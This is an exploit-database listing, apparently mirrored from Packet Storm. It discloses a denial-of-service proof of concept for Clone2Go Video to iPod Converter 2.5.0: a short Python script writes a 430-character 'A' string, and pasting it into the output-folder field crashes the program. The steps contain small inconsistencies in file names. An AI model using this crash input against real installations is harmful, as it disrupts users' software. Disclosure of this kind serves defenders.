Lucene search
K

Clone2Go Video To iPod Converter 2.5.0 Denial Of Service

🗓️ 14 Sep 2018 00:00:00Reported by ZwXType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 17 Views

Clone2Go Video To iPod Converter 2.5.0 Denial Of Service vulnerability proof of concep

Code
`# Exploit Title: Clone2Go Video to iPod Converter 2.5.0 - Denial of Service (PoC)  
# Exploit Author: ZwX  
# Exploit Date: 2018-09-11  
# Vendor Homepage : http://www.clone2go.com/  
# Software Link: http://www.clone2go.com/down/video-to-ipod-setup.exe  
# Tested on OS: Windows 7   
  
# Proof of Concept (PoC):  
# The local buffer overflow vulnerability can be exploited by local attackers with   
# restricted system user account without user interaction. For security demonstration   
# or to reproduce follow the provided information and steps below to continue.  
  
# Manual steps to reproduce the vulnerability ...  
# 1 Install the software and start the client  
# 2 Copy the AAAA...string from bof.txt to clipboard  
# 3 Run VideoConverter.exex  
# 4 Go Menu Menu > Edit > Options > Set Output folder (Input)  
# 5 Paste it the input AAAA....string and click Open  
# 6 A messagebox opens click ok  
# 7 Software will stable crash or shut down  
# 8 Successful reproduce of the Denial of Service  
  
#!/usr/bin/python  
  
buffer = "\x41" * 430  
  
poc = buffer  
file = open("poc.txt","w")  
file.write(poc)  
file.close()  
  
print "POC Created by ZwX"  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 Sep 2018 00:00Current
0.2Low risk
Vulners AI Score0.2
17